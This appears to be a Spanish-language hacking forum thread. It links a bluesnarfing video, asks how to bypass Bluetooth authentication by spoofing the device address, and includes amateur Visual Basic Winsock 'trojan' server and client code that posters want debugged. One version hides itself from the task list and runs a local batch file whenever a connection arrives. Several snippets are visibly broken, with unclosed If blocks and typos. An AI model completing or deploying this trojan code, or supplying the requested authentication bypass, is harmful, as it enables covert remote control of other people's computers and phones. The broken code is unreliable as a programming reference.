video  sobre bluesnarfing. Espero que les resulte de su agrado.Lo siento si ya estaba posteado


http://www.irongeek.com/i.php?page=videos/bluesnarf1


nota: tarda un poco en cargarse el video. Despues de esto apreten next

he estado mirando el tema de saltarte la autentificaion/autorizacion  utilizando el programa bt info, y creo que no se puede, por lo menos de un movil a otro, pero  lei que si que se podia utilizando un pc en linux.Sabeis que programas hay que utilizar para saltarte la autentificacion/autorizacion?si no recuerdo mal era con el bdaddr, cambiando la mac... si me pudieran decir el proceso y los progrmas ademas de este utlizados

bueno como dije en mi post anterior estoy haciendo un troyano en visual basic ,bueno copiandome los codigos....de un manual. y nada hasta ahora he hecho que funcione el servidor pero el cliente no funciona...si alguien tiene tiempo que mire haber lo q es...

este es el servidor que si que me funciona:

Private Sub Command1_Click()
Winsock1.LocalPort = puerto.Text
Winsock1.Listen
End Sub

Private Sub Command2_Click()
Winsock1.Close
End Sub

Private Sub Winsock1_Close()
txtrecibido = txtrecibido & "conexion cerrada:" & Winsock1.RemoteHostIP
Winsock1.Close
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
txtrecibido = "id de la solicitud de la conexión" & requestID & " de " & Winsock1.RemoteHostIP
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim vtdata As String
Winsock1.GetData vtdata, vbString
txtrecibido.Text = ""
txtrecibido.Text = txtrecibido & vtdata
End Sub


y este el programa cliente que no funciona!:

Private Sub Command2_Click()
Winsock1.Close
End Sub

Private Sub conectar_Click()
Winsock1.RemoteHost = host.Text
winsock1remoteport = puerto.Text
Winsock1.Connect
End Sub

Private Sub enviar_Click()
Winsock1.SendData orden.Text
End Sub

Private Sub localhost_Change()

End Sub

Private Sub Winsock1_Connect()
If (Winsock1.State = sckConnected) Then
Form1.Caption = "conectado con exito..."
Else
Form1.Caption = "esperando..."
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim vtdata As String
Winsock1.GetData vtdata, vbString
orden = ""
orden = orden & vtdata & vbCrLf
End Sub



abstenerse newbies,jeje...

ola soy nuevo en el foro....he estado mirando tutoriales y documentos por el foro, y he decido probar con un troyano en visual basic.....,la cuestion
 es que he copiado varios codigos de manuales de este foro y otras páginas, y nada por probar,he instalado la consola windsock y he seleccionado en nuevo proyecto exe estandar, he copiado los codigos igual que estaban en los manuales y por probar ... he ejecutado generar proyecto, pero me da error  en la linea 22( bLOQUE IF SIN END IF) ERROR DE COMPILACION



Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub escuchar_Click()
On Error Resume Next
Ws.LocalPort = Text1.Text
Ws.Close
Ws.Listen
If Ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
Ws.Close
Ws.Accept requestID
Label3.Caption = Ws.RemoteHostIP
Shell "c:\ki.bat"
Timer1.Interval = 3000
error:
End Sub
Private Sub Command1_Click()
If winsock1.State = sckConnected Then
MsgBox "conection satisfactoria", vbInformation
End Sub    ------AQUI LINEA 22---------

Private Sub Form_Load()
Timer1 .Interval = 1
End Sub
Private Sub Timer1_Timer()
App TaskVisible = False
Timer1.Enabled = False
End Sub



GRACIAS...COMO SE ADUJUNTAN IMAGENES?GRACIAS...